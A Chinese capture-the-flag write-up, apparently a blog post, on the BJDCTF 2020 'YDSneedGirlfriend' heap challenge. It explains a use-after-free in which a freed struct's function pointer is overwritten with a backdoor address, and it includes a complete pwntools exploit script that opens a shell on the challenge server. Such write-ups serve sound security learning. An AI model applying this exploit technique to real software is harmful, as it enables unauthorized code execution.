【PWN · heap | UAF】[BJDCTF 2020]YDSneedGirlfriend

一篇裸的、便于学习UAF的题目和笔记


前言

UAF-释放后重用,这一题和wiki上教学的那一题一样,是纯的裸UAF题目


一、题目

【PWN · heap | UAF】[BJDCTF 2020]YDSneedGirlfriend_第1张图片

【PWN · heap | UAF】[BJDCTF 2020]YDSneedGirlfriend_第2张图片

【PWN · heap | UAF】[BJDCTF 2020]YDSneedGirlfriend_第3张图片

【PWN · heap | UAF】[BJDCTF 2020]YDSneedGirlfriend_第4张图片

【PWN · heap | UAF】[BJDCTF 2020]YDSneedGirlfriend_第5张图片

二、分析

题目中del函数,在释放申请的堆块后,并没有将置零,存在UAF漏洞。

分析add函数:

  • 申请大小为0x10mem(0x20chunk)的堆块,用作存储girlfriend结构体
  • 结构体有两个成员,一个是函数指针,正常来说指向print_name函数;一个是name字符串指针,由我们指定大小分配的堆块存储

【PWN · heap | UAF】[BJDCTF 2020]YDSneedGirlfriend_第6张图片

很明显有后门函数存在,如果我们能将结构体的第一个函数指针劫持为后门函数,即可轻松getshell。那么怎么实现呢?

申请两个如下的结构体

【PWN · heap | UAF】[BJDCTF 2020]YDSneedGirlfriend_第7张图片

free掉1和2

【PWN · heap | UAF】[BJDCTF 2020]YDSneedGirlfriend_第8张图片

试想一下:如果我们再次申请一个girlfriend3,name申请的memery大小为0x10(0x20chunk),那么会发生什么?

是的,fastbin中girlfriend2结构体对应的堆块会被分作girlfriend3,girlfriend1结构体对应的堆块会被分作name3字符串的空间。——此时我们还保留着gf1和2的两个结构体指针,而name字段我们是可以修改的——我们就可以修改girlfriend2的函数指针部分了!然后用仍然保有的结构体指针调用该函数,实现劫持!

三、exp

from pwn import *
context(arch='amd64',log_level='debug')

io=process('./pwn')
io=remote('node4.anna.nssctf.cn',xxxxx)
def DEL(index):
    io.recvuntil(b'Your choice :')
    io.sendline(b'2')
    io.recvuntil(b'Index :')
    io.sendline(str(index).encode())

def PRINT(index):
    io.recvuntil(b'Your choice :')
    io.sendline(b'3')
    io.recvuntil(b'Index :')
    io.sendline(str(index).encode())

def ADD(name_size,name):
    io.recvuntil(b'Your choice :')
    io.sendline(b'1')
    io.recvuntil(b'Her name size is :')
    io.sendline(str(name_size).encode())
    io.recvuntil(b'Her name is :')
    io.sendline(name)
    # io.recvuntil(b'Success !Wow YDS get a girlfriend!\n')

backdoor=0x400B9C

ADD(0x10,b'gf1')
ADD(0x20,b'gf2')
DEL(0)
DEL(1)
ADD(0x10,p64(backdoor))
PRINT(0)
io.interactive()

总结

初步涉猎heap,对于典型的漏洞利用,多加记载

你可能感兴趣的:(【PWN,·,heap】,heap,UAF,CTF,PWN)